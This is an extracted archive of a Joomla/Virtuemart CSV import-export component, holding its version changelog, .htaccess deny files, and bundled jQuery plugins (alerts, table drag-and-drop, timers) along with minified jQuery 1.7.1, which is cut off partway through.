BOM removal + Added check if memory_get_usage is available * Fixed linenumbers not always showing * Fixed the mdate/cdate import fields + Added default file location path to import template Export - Removed standard UTF-8 export, iconv might not be installed * Fixed the export to file, not being able to write General - Removed PHP 4 support + Added check for PHP 5 installation Version 0.8 beta 5 Import + Added filename to import results + Added button to return to import page on results page + Added manufacturer data import / Changed template list to only show import templates + Added table of site limits for import for user to check + Added check for maximum execution time + Added category details import + Added preview option for templates and template fields + Added character translation to UTF-8 Export * Fixed missing delimiter on product price in CSV export + Added export limits / Changed template list to only show export templates + Added export per shopper group + Added export to local file + Added product url suffix / Changed product_url to force http + Added list of templates to export / Changed export to respect template fields + Added record limits to filename if used + Added category details export / Changed file encoding to be UTF-8 + Added field to export discounted price + Added option to export published/unpublished/both products - Removed full server path from imagename Templates + Added tabs to clarify what options are meant for + Added thumbnail sizes for import - Removed support for required field + Added option to clone templates + Added configurable file location for product files/product images + Added check if no more fields available to add + Added automatic field ordering + Added option to select state of products to export Maintenance * Fixed product type tables not being deleted + Added option to sort categories alphabetically General + Added check if Virtuemart is installed + Added logging class * Recoded import process + Added support for Virtuemart 1.1 display options + Added Italian translation by Crisalex + Added Joomla 1.5 support using legacy mode + Added CSVI standard templates Version 0.8 beta 4.1 Import * Fixed data not being processed * Fixed txt file upload causing foreach error Export * Fixed   not allowed in XML export Version 0.8 beta 4 Import * Fixed preview to show on all product imports + Added multiple prices import to also update prices * Fixed not using default values + Added Excel support * Fixed missing price_delete field - Removed radiobutton selection * Fixed field configuration not matching Export * Fixed bug with product discount that has too many delimiters * Fixed default values not always used * Fixed product_available_date not being exported correctly * Fixed XML entities / Changed export filenames to be more descriptive * Fixed invalid XML file header General * Cleaned up file import code to allow other filetypes to upload + Supported fields now being alphabetized Version 0.8 beta 3 Import + Added tax value import * Fixed import of category names with apostrophe - Removed Empty Database option - Removed the Price List Only Upload obsolete due to templates / Changed page layout + Added template import + Added template fields import Export * Fixed export not using CSVI configuration table * Fixed product_available_date not adding field delimiter / Changed page layout + Added creation of product URL if there is none in the database + Added support for custom column names + Added template export + Added template fields export + Added picture url export + Added price with tax export + Added XML support for beslist.nl + Added XML support for froogle.com * Fixed manufacturer_name and manufacturer_id Templates * Fixed fatal error on templates page * Fixed bug available fields not selected on template ID * Fixed bug where template fields were not deleted on template removal * Fixed cancel returning to templates page showing no templates / Changed page layout + Added custom fields + Added a Froogle Export template Maintenance + Added Empty Database option + Added Removal of orphaned fields + Added Optimization of the CSV Improved tables General + Added Russian translation by Sbmart + Added Spanish translation by Joao + Added Polish translation by Jurek + Added German translation by Jingo + Added icons kindly supplied by Joao / Changed layout of program + Added maintenance page / Changed output totals to only show if count is greater than 0 * Choose language according to Joomla language setting * Split the language file. Help texts are now separated from main texts Version 0.8 beta 2.1 Import * Fixed updating of discounts when field not used * Fixed updating of prices when field not used + Added updating to product type names imports * Fixed preview mode Export * Fixed product type export layout as it had an incorrect column header * Fixed product type names export layout. Removed ^ at the end of the line Version 0.8 beta 2 Import * Fixed fatal error with manufacturer import Export / Changed price export to drop trailing zeroes after second digit * Order export on SKU + Added product type parameters export + Added product type names export General / Changed tab system to use Joomla tabs + Added Joomla toolbar - Removed deletion of tables on uninstall Version 0.8 beta 1 Import * Fixed product type details upload * Fixed error where child products did not have a price set Export + Added product type export * Fixed export of customized ordering + Export now uses the template settings / Changed the types of export to match the types of import Templates / Changed layout of templates * Fixed " and ' as delimiter not showing * Fixed skip first line not being updated General + Converted CSV Improved into Joomla! component * Added product_relations table to empty database list Version 0.7.5 Import * Fixed product adding error in certain cases + Added SQL Error reporting / Changed unsupported fields reporting * Fixed bug with shopper group name if not specified + Added related products + Added multiple files + Added template system for import General + Added attribute documentation + Created CSV Improved language file + Created CSV Improved CSS file - Removed Dutch since the file is too old Version 0.7.4 Import * Fixed error "Missing argument 1 for product_details::ProcessDiscount()." * Fixed first line of file not imported * Fixed not adding or updating products * Fixed category path not updated Version 0.7.3 Import - Removed product_discount_id * Fixed child products upload + Added shopper group name to multiple prices upload * Improved error handling on multiple prices upload * Improved code for stabilizing import Preview * Removed Continue button when an error is encountered General * Updated language file * Updated help texts Version 0.7.2 Import * Fixed error with field enclosure set to none * Fixed error "Cannot break/continue ..." * Fixed undefined variable Configuration * Fixed error with wrong datatype on saving the configuration Version 0.7.1 Import * Fixed product discount not being imported * Fixed problem where download dialog pops up * Fixed update of several fields not working * Fixed price update if price is 0 or blank * Re-added product_discount_id * Fixed child products Export + Added column headers to the Default ordering * Export takes all fields as stated in configuration page General * Improved debug collection * Fixed image not to display from front-end * Fixed navigation bar in front-end after saving configuration * Code rewrite export - Removed required fields from configuration Version 0.7 Import + Added field product_currency + Added option to import product types + Added option to import multiple prices per product + Added option to empty database * Fixed skip first line with preview mode * Fixed updating non-existing prices * Fixed preview layout that is wider than the screen Configuration * Fixed Add Field button does not work * Fixed problem with existing fields in csv table that are not supported General * Code rewrite * Improved debug collection * Updated Documentation tab * Updated Available Fields tab Translations + Added Dutch translation by giovi2002 Version 0.6.1 Import * Fixed preview not working * Fixed preview with Upload price list only * Fixed preview with " or ' as enclosure character * Fixed problem that uploaded file was always saved in cache folder Version 0.6 Import + Added option to use column headers as configuration + Added option to preview import + Added option to collect debug information * Improved support for child products * Fixed bug with date import for product_available_date Export * Fixed broken export General * Replaced text input fields in configuration tab with dropdown menus for easier configuration * Finalized changes Documentation page + Added the About page Version 0.5.1 Import * Fixed bug where Price List Upload only did not work because of not overwriting existing data Version 0.5 Import + Added option to do a Upload price list only * Only product_sku is mandatory now * Fixed bug when using custom enclosure and/or delimeter + Added option to import manufacturers * Fixed bug where product_publish was added twice to the SQL query * Fixed bug where commas in product_price was not replaced with a period * Fixed bug where all fields were imported General * Updated documentation Version 0.4 Import + Added option to import product_available_date using a regular date format + Added option to import product_box + Added option to import product_packaging + Added option to import product discounts * Fixed bug if product_publish is not used, items were not published * Fixed bug if product_delete is not used, items were not added, import crashed General + Added import statistics to the CSV upload result page * Updated the message output on the CSV upload result page * Updated localization * Updated the descriptions on the Available Fields page Version 0.3 Import * Fixed if product_publish is empty, default is now set to Yes * Fixed the vendor id. If no vendor is set, vendor id should be 1 instead of 0 + Added a check for correct number of columns + Added option to choose not to overwrite existing data + Added option to skip the default value and not use the field in the update Settings / Changed default field delimiter to ^ and text enclosure to ~ General + Added a link to the CSV import/export on the CSV upload result page + Added import flow description to readme.txt * Updated the Available Fields page with the minimal required fields * Updated the layout of the import/export tab Version 0.2.1 Import * Fixed a few undefined variables * Fixed check for required fields Version 0.2 Import + Allow empty fields + Made all fields from the product table optional except for product_id, product_sku, vendor_id, cdate, mdate, product_name. + Possibility to delete products on import General + Added a tab with the possible fields that can be used including documentation / Changed layout of the result page / Changed font size on the description page so it reads better in Firefox. Version 0.1 Import + Numbers imported with a comma are changed to a period for correct database insertion. This I found necessary since my locale uses comma as a seperator. The only thing I do not know/understand is, how to get a comma on the webshop frontend? + Imported data is sanitized for database insertion. This means that you can use regular HTML code in your long description or apostrophe in your products name for example. Export + Removed backslashes from the export Settings + Added the delimiter and field closure from Lauries Excel Generator + Added an inputbox for both the delimeter and field closure + Added an option to choose to add column headers General + Renamed Field Required? to Field Included? + Made the system honor the choice to include or not include a field for exportPK@y>\)$components/com_csvi/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\.components/com_csvi/assets/js/jquery.alerts.jsnuW+A// jQuery Alert Dialogs Plugin // // Version 1.1 // // Cory S.N. LaViska // A Beautiful Site (http://abeautifulsite.net/) // 14 May 2009 // // Visit http://abeautifulsite.net/notebook/87 for more information // // Usage: // jAlert( message, [title, callback] ) // jConfirm( message, [title, callback] ) // jPrompt( message, [value, title, callback] ) // // History: // // 1.00 - Released (29 December 2008) // // 1.01 - Fixed bug where unbinding would destroy all resize events // // License: // // This plugin is dual-licensed under the GNU General Public License and the MIT License and // is copyright 2008 A Beautiful Site, LLC. // (function($) { $.alerts = { // These properties can be read/written by accessing $.alerts.propertyName from your scripts at any time verticalOffset: -75, // vertical offset of the dialog from center screen, in pixels horizontalOffset: 0, // horizontal offset of the dialog from center screen, in pixels/ repositionOnResize: true, // re-centers the dialog on window resize overlayOpacity: .01, // transparency level of overlay overlayColor: '#FFF', // base color of overlay draggable: true, // make the dialogs draggable (requires UI Draggables plugin) okButton: ' OK ', // text for the OK button cancelButton: ' Cancel ', // text for the Cancel button dialogClass: null, // if specified, this class will be applied to all dialogs // Public methods alert: function(message, title, callback) { if( title == null ) title = 'Alert'; $.alerts._show(title, message, null, 'alert', function(result) { if( callback ) callback(result); }); }, confirm: function(message, title, callback) { if( title == null ) title = 'Confirm'; $.alerts._show(title, message, null, 'confirm', function(result) { if( callback ) callback(result); }); }, prompt: function(message, value, title, callback) { if( title == null ) title = 'Prompt'; $.alerts._show(title, message, value, 'prompt', function(result) { if( callback ) callback(result); }); }, // Private methods _show: function(title, msg, value, type, callback) { $.alerts._hide(); $.alerts._overlay('show'); $("BODY").append( ''); if( $.alerts.dialogClass ) $("#popup_container").addClass($.alerts.dialogClass); // IE6 Fix var pos = ($.browser.msie && parseInt($.browser.version) <= 6 ) ? 'absolute' : 'fixed'; $("#popup_container").css({ position: pos, zIndex: 99999, padding: 0, margin: 0 }); $("#popup_title").text(title); $("#popup_content").addClass(type); $("#popup_message").text(msg); $("#popup_message").html( $("#popup_message").text().replace(/\n/g, '
      ') ); $("#popup_container").css({ minWidth: $("#popup_container").outerWidth(), maxWidth: $("#popup_container").outerWidth() }); $.alerts._reposition(); $.alerts._maintainPosition(true); switch( type ) { case 'alert': $("#popup_message").after(''); $("#popup_ok").click( function() { $.alerts._hide(); callback(true); }); $("#popup_ok").focus().keypress( function(e) { if( e.keyCode == 13 || e.keyCode == 27 ) $("#popup_ok").trigger('click'); }); break; case 'confirm': $("#popup_message").after(''); $("#popup_ok").click( function() { $.alerts._hide(); if( callback ) callback(true); }); $("#popup_cancel").click( function() { $.alerts._hide(); if( callback ) callback(false); }); $("#popup_ok").focus(); $("#popup_ok, #popup_cancel").keypress( function(e) { if( e.keyCode == 13 ) $("#popup_ok").trigger('click'); if( e.keyCode == 27 ) $("#popup_cancel").trigger('click'); }); break; case 'prompt': $("#popup_message").append('
      ').after(''); $("#popup_prompt").width( $("#popup_message").width() ); $("#popup_ok").click( function() { var val = $("#popup_prompt").val(); $.alerts._hide(); if( callback ) callback( val ); }); $("#popup_cancel").click( function() { $.alerts._hide(); if( callback ) callback( null ); }); $("#popup_prompt, #popup_ok, #popup_cancel").keypress( function(e) { if( e.keyCode == 13 ) $("#popup_ok").trigger('click'); if( e.keyCode == 27 ) $("#popup_cancel").trigger('click'); }); if( value ) $("#popup_prompt").val(value); $("#popup_prompt").focus().select(); break; } // Make draggable if( $.alerts.draggable ) { try { $("#popup_container").draggable({ handle: $("#popup_title") }); $("#popup_title").css({ cursor: 'move' }); } catch(e) { /* requires jQuery UI draggables */ } } }, _hide: function() { $("#popup_container").remove(); $.alerts._overlay('hide'); $.alerts._maintainPosition(false); }, _overlay: function(status) { switch( status ) { case 'show': $.alerts._overlay('hide'); $("BODY").append(''); $("#popup_overlay").css({ position: 'absolute', zIndex: 99998, top: '0px', left: '0px', width: '100%', height: $(document).height(), background: $.alerts.overlayColor, opacity: $.alerts.overlayOpacity }); break; case 'hide': $("#popup_overlay").remove(); break; } }, _reposition: function() { var top = (($(window).height() / 2) - ($("#popup_container").outerHeight() / 2)) + $.alerts.verticalOffset; var left = (($(window).width() / 2) - ($("#popup_container").outerWidth() / 2)) + $.alerts.horizontalOffset; if( top < 0 ) top = 0; if( left < 0 ) left = 0; // IE6 fix if( $.browser.msie && parseInt($.browser.version) <= 6 ) top = top + $(window).scrollTop(); $("#popup_container").css({ top: top + 'px', left: left + 'px' }); $("#popup_overlay").height( $(document).height() ); }, _maintainPosition: function(status) { if( $.alerts.repositionOnResize ) { switch(status) { case true: $(window).bind('resize', $.alerts._reposition); break; case false: $(window).unbind('resize', $.alerts._reposition); break; } } } } // Shortuct functions jAlert = function(message, title, callback) { $.alerts.alert(message, title, callback); } jConfirm = function(message, title, callback) { $.alerts.confirm(message, title, callback); }; jPrompt = function(message, value, title, callback) { $.alerts.prompt(message, value, title, callback); }; })(jQuery);PK@y>\)'components/com_csvi/assets/js/.htaccessnuW+A Order allow,deny Deny from all PK@y>\(components/com_csvi/assets/js/index.htmlnuW+APK@y>\d5CC4components/com_csvi/assets/js/jquery.tablednd_0_5.jsnuW+A/** * TableDnD plug-in for JQuery, allows you to drag and drop table rows * You can set up various options to control how the system will work * Copyright (c) Denis Howlett * Licensed like jQuery, see http://docs.jquery.com/License. * * Configuration options: * * onDragStyle * This is the style that is assigned to the row during drag. There are limitations to the styles that can be * associated with a row (such as you can't assign a border--well you can, but it won't be * displayed). (So instead consider using onDragClass.) The CSS style to apply is specified as * a map (as used in the jQuery css(...) function). * onDropStyle * This is the style that is assigned to the row when it is dropped. As for onDragStyle, there are limitations * to what you can do. Also this replaces the original style, so again consider using onDragClass which * is simply added and then removed on drop. * onDragClass * This class is added for the duration of the drag and then removed when the row is dropped. It is more * flexible than using onDragStyle since it can be inherited by the row cells and other content. The default * is class is tDnD_whileDrag. So to use the default, simply customise this CSS class in your * stylesheet. * onDrop * Pass a function that will be called when the row is dropped. The function takes 2 parameters: the table * and the row that was dropped. You can work out the new order of the rows by using * table.rows. * onDragStart * Pass a function that will be called when the user starts dragging. The function takes 2 parameters: the * table and the row which the user has started to drag. * onAllowDrop * Pass a function that will be called as a row is over another row. If the function returns true, allow * dropping on that row, otherwise not. The function takes 2 parameters: the dragged row and the row under * the cursor. It returns a boolean: true allows the drop, false doesn't allow it. * scrollAmount * This is the number of pixels to scroll if the user moves the mouse cursor to the top or bottom of the * window. The page should automatically scroll up or down as appropriate (tested in IE6, IE7, Safari, FF2, * FF3 beta * dragHandle * This is the name of a class that you assign to one or more cells in each row that is draggable. If you * specify this class, then you are responsible for setting cursor: move in the CSS and only these cells * will have the drag behaviour. If you do not specify a dragHandle, then you get the old behaviour where * the whole row is draggable. * * Other ways to control behaviour: * * Add class="nodrop" to any rows for which you don't want to allow dropping, and class="nodrag" to any rows * that you don't want to be draggable. * * Inside the onDrop method you can also call $.tableDnD.serialize() this returns a string of the form * []=&[]= so that you can send this back to the server. The table must have * an ID as must all the rows. * * Other methods: * * $("...").tableDnDUpdate() * Will update all the matching tables, that is it will reapply the mousedown method to the rows (or handle cells). * This is useful if you have updated the table rows using Ajax and you want to make the table draggable again. * The table maintains the original configuration (so you don't have to specify it again). * * $("...").tableDnDSerialize() * Will serialize and return the serialized string as above, but for each of the matching tables--so it can be * called from anywhere and isn't dependent on the currentTable being set up correctly before calling * * Known problems: * - Auto-scoll has some problems with IE7 (it scrolls even when it shouldn't), work-around: set scrollAmount to 0 * * Version 0.2: 2008-02-20 First public version * Version 0.3: 2008-02-07 Added onDragStart option * Made the scroll amount configurable (default is 5 as before) * Version 0.4: 2008-03-15 Changed the noDrag/noDrop attributes to nodrag/nodrop classes * Added onAllowDrop to control dropping * Fixed a bug which meant that you couldn't set the scroll amount in both directions * Added serialize method * Version 0.5: 2008-05-16 Changed so that if you specify a dragHandle class it doesn't make the whole row * draggable * Improved the serialize method to use a default (and settable) regular expression. * Added tableDnDupate() and tableDnDSerialize() to be called when you are outside the table */ jQuery.tableDnD = { /** Keep hold of the current table being dragged */ currentTable : null, /** Keep hold of the current drag object if any */ dragObject: null, /** The current mouse offset */ mouseOffset: null, /** Remember the old value of Y so that we don't do too much processing */ oldY: 0, /** Actually build the structure */ build: function(options) { // Set up the defaults if any this.each(function() { // This is bound to each matching table, set up the defaults and override with user options this.tableDnDConfig = jQuery.extend({ onDragStyle: null, onDropStyle: null, // Add in the default class for whileDragging onDragClass: "tDnD_whileDrag", onDrop: null, onDragStart: null, scrollAmount: 5, serializeRegexp: /[^\-]*$/, // The regular expression to use to trim row IDs serializeParamName: null, // If you want to specify another parameter name instead of the table ID dragHandle: null // If you give the name of a class here, then only Cells with this class will be draggable }, options || {}); // Now make the rows draggable jQuery.tableDnD.makeDraggable(this); }); // Now we need to capture the mouse up and mouse move event // We can use bind so that we don't interfere with other event handlers jQuery(document) .bind('mousemove', jQuery.tableDnD.mousemove) .bind('mouseup', jQuery.tableDnD.mouseup); // Don't break the chain return this; }, /** This function makes all the rows on the table draggable apart from those marked as "NoDrag" */ makeDraggable: function(table) { var config = table.tableDnDConfig; if (table.tableDnDConfig.dragHandle) { // We only need to add the event to the specified cells var cells = jQuery("td."+table.tableDnDConfig.dragHandle, table); cells.each(function() { // The cell is bound to "this" jQuery(this).mousedown(function(ev) { jQuery.tableDnD.dragObject = this.parentNode; jQuery.tableDnD.currentTable = table; jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMouseOffset(this, ev); if (config.onDragStart) { // Call the onDrop method if there is one config.onDragStart(table, this); } return false; }); }) } else { // For backwards compatibility, we add the event to the whole row var rows = jQuery("tr", table); // get all the rows as a wrapped set rows.each(function() { // Iterate through each row, the row is bound to "this" var row = jQuery(this); if (! row.hasClass("nodrag")) { row.mousedown(function(ev) { if (ev.target.tagName == "TD") { jQuery.tableDnD.dragObject = this; jQuery.tableDnD.currentTable = table; jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMouseOffset(this, ev); if (config.onDragStart) { // Call the onDrop method if there is one config.onDragStart(table, this); } return false; } }).css("cursor", "move"); // Store the tableDnD object } }); } }, updateTables: function() { this.each(function() { // this is now bound to each matching table if (this.tableDnDConfig) { jQuery.tableDnD.makeDraggable(this); } }) }, /** Get the mouse coordinates from the event (allowing for browser differences) */ mouseCoords: function(ev){ if(ev.pageX || ev.pageY){ return {x:ev.pageX, y:ev.pageY}; } return { x:ev.clientX + document.body.scrollLeft - document.body.clientLeft, y:ev.clientY + document.body.scrollTop - document.body.clientTop }; }, /** Given a target element and a mouse event, get the mouse offset from that element. To do this we need the element's position and the mouse position */ getMouseOffset: function(target, ev) { ev = ev || window.event; var docPos = this.getPosition(target); var mousePos = this.mouseCoords(ev); return {x:mousePos.x - docPos.x, y:mousePos.y - docPos.y}; }, /** Get the position of an element by going up the DOM tree and adding up all the offsets */ getPosition: function(e){ var left = 0; var top = 0; /** Safari fix -- thanks to Luis Chato for this! */ if (e.offsetHeight == 0) { /** Safari 2 doesn't correctly grab the offsetTop of a table row this is detailed here: http://jacob.peargrove.com/blog/2006/technical/table-row-offsettop-bug-in-safari/ the solution is likewise noted there, grab the offset of a table cell in the row - the firstChild. note that firefox will return a text node as a first child, so designing a more thorough solution may need to take that into account, for now this seems to work in firefox, safari, ie */ e = e.firstChild; // a table cell } while (e.offsetParent){ left += e.offsetLeft; top += e.offsetTop; e = e.offsetParent; } left += e.offsetLeft; top += e.offsetTop; return {x:left, y:top}; }, mousemove: function(ev) { if (jQuery.tableDnD.dragObject == null) { return; } var dragObj = jQuery(jQuery.tableDnD.dragObject); var config = jQuery.tableDnD.currentTable.tableDnDConfig; var mousePos = jQuery.tableDnD.mouseCoords(ev); var y = mousePos.y - jQuery.tableDnD.mouseOffset.y; //auto scroll the window var yOffset = window.pageYOffset; if (document.all) { // Windows version //yOffset=document.body.scrollTop; if (typeof document.compatMode != 'undefined' && document.compatMode != 'BackCompat') { yOffset = document.documentElement.scrollTop; } else if (typeof document.body != 'undefined') { yOffset=document.body.scrollTop; } } if (mousePos.y-yOffset < config.scrollAmount) { window.scrollBy(0, -config.scrollAmount); } else { var windowHeight = window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight; if (windowHeight-(mousePos.y-yOffset) < config.scrollAmount) { window.scrollBy(0, config.scrollAmount); } } if (y != jQuery.tableDnD.oldY) { // work out if we're going up or down... var movingDown = y > jQuery.tableDnD.oldY; // update the old value jQuery.tableDnD.oldY = y; // update the style to show we're dragging if (config.onDragClass) { dragObj.addClass(config.onDragClass); } else { dragObj.css(config.onDragStyle); } // If we're over a row then move the dragged row to there so that the user sees the // effect dynamically var currentRow = jQuery.tableDnD.findDropTargetRow(dragObj, y); /** if (currentRow) { // TODO worry about what happens when there are multiple TBODIES if (movingDown && jQuery.tableDnD.dragObject != currentRow) { jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow.nextSibling); } else if (! movingDown && jQuery.tableDnD.dragObject != currentRow) { jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow); } } */ if (currentRow) { // TODO worry about what happens when there are multiple TBODIES if (movingDown && jQuery.tableDnD.dragObject != currentRow) { if(currentRow.parentNode == jQuery.tableDnD.dragObject.parentNode) { jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow.nextSibling); } } else if (! movingDown && jQuery.tableDnD.dragObject != currentRow) { if(currentRow.parentNode == jQuery.tableDnD.dragObject.parentNode) { jQuery.tableDnD.dragObject.parentNode.insertBefore(jQuery.tableDnD.dragObject, currentRow); } } } } return false; }, /** We're only worried about the y position really, because we can only move rows up and down */ findDropTargetRow: function(draggedRow, y) { var rows = jQuery.tableDnD.currentTable.rows; for (var i=0; i rowY - rowHeight) && (y < (rowY + rowHeight))) { // that's the row we're over // If it's the same as the current row, ignore it if (row == draggedRow) {return null;} var config = jQuery.tableDnD.currentTable.tableDnDConfig; if (config.onAllowDrop) { if (config.onAllowDrop(draggedRow, row)) { return row; } else { return null; } } else { // If a row has nodrop class, then don't allow dropping (inspired by John Tarr and Famic) var nodrop = jQuery(row).hasClass("nodrop"); if (! nodrop) { return row; } else { return null; } } return row; } } return null; }, mouseup: function(e) { if (jQuery.tableDnD.currentTable && jQuery.tableDnD.dragObject) { var droppedRow = jQuery.tableDnD.dragObject; var config = jQuery.tableDnD.currentTable.tableDnDConfig; // If we have a dragObject, then we need to release it, // The row will already have been moved to the right place so we just reset stuff if (config.onDragClass) { jQuery(droppedRow).removeClass(config.onDragClass); } else { jQuery(droppedRow).css(config.onDropStyle); } jQuery.tableDnD.dragObject = null; if (config.onDrop) { // Call the onDrop method if there is one config.onDrop(jQuery.tableDnD.currentTable, droppedRow); } jQuery.tableDnD.currentTable = null; // let go of the table too } }, serialize: function() { if (jQuery.tableDnD.currentTable) { return jQuery.tableDnD.serializeTable(jQuery.tableDnD.currentTable); } else { return "Error: No Table id set, you need to set an id on your table and every row"; } }, serializeTable: function(table) { var result = ""; var tableId = table.id; var rows = table.rows; for (var i=0; i 0) result += "&"; var rowId = rows[i].id; if (rowId && rowId && table.tableDnDConfig && table.tableDnDConfig.serializeRegexp) { rowId = rowId.match(table.tableDnDConfig.serializeRegexp)[0]; } result += tableId + '[]=' + rowId; } return result; }, serializeTables: function() { var result = ""; this.each(function() { // this is now bound to each matching table result += jQuery.tableDnD.serializeTable(this); }); return result; } } jQuery.fn.extend( { tableDnD : jQuery.tableDnD.build, tableDnDUpdate : jQuery.tableDnD.updateTables, tableDnDSerialize: jQuery.tableDnD.serializeTables } );PK@y>\\ .components/com_csvi/assets/js/jquery.timers.jsnuW+A/** * jQuery.timers - Timer abstractions for jQuery * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com) * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/). * Date: 2009/10/16 * * @author Blair Mitchelmore * @version 1.2 * **/ jQuery.fn.extend({ everyTime: function(interval, label, fn, times) { return this.each(function() { jQuery.timer.add(this, interval, label, fn, times); }); }, oneTime: function(interval, label, fn) { return this.each(function() { jQuery.timer.add(this, interval, label, fn, 1); }); }, stopTime: function(label, fn) { return this.each(function() { jQuery.timer.remove(this, label, fn); }); } }); jQuery.extend({ timer: { global: [], guid: 1, dataKey: "jQuery.timer", regex: /^([0-9]+(?:\.[0-9]*)?)\s*(.*s)?$/, powers: { // Yeah this is major overkill... 'ms': 1, 'cs': 10, 'ds': 100, 's': 1000, 'das': 10000, 'hs': 100000, 'ks': 1000000 }, timeParse: function(value) { if (value == undefined || value == null) return null; var result = this.regex.exec(jQuery.trim(value.toString())); if (result[2]) { var num = parseFloat(result[1]); var mult = this.powers[result[2]] || 1; return num * mult; } else { return value; } }, add: function(element, interval, label, fn, times) { var counter = 0; if (jQuery.isFunction(label)) { if (!times) times = fn; fn = label; label = interval; } interval = jQuery.timer.timeParse(interval); if (typeof interval != 'number' || isNaN(interval) || interval < 0) return; if (typeof times != 'number' || isNaN(times) || times < 0) times = 0; times = times || 0; var timers = jQuery.data(element, this.dataKey) || jQuery.data(element, this.dataKey, {}); if (!timers[label]) timers[label] = {}; fn.timerID = fn.timerID || this.guid++; var handler = function() { if ((++counter > times && times !== 0) || fn.call(element, counter) === false) jQuery.timer.remove(element, label, fn); }; handler.timerID = fn.timerID; if (!timers[label][fn.timerID]) timers[label][fn.timerID] = window.setInterval(handler,interval); this.global.push( element ); }, remove: function(element, label, fn) { var timers = jQuery.data(element, this.dataKey), ret; if ( timers ) { if (!label) { for ( label in timers ) this.remove(element, label, fn); } else if ( timers[label] ) { if ( fn ) { if ( fn.timerID ) { window.clearInterval(timers[label][fn.timerID]); delete timers[label][fn.timerID]; } } else { for ( var fn in timers[label] ) { window.clearInterval(timers[label][fn]); delete timers[label][fn]; } } for ( ret in timers[label] ) break; if ( !ret ) { ret = null; delete timers[label]; } } for ( ret in timers ) break; if ( !ret ) jQuery.removeData(element, this.dataKey); } } } }); jQuery(window).bind("unload", function() { jQuery.each(jQuery.timer.global, function(index, item) { jQuery.timer.remove(item); }); }); PK@y>\Y~nn'components/com_csvi/assets/js/jquery.jsnuW+A/*! jQuery v1.7.1 jquery.com | jquery.org/license */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"":"")+""),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;g=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var 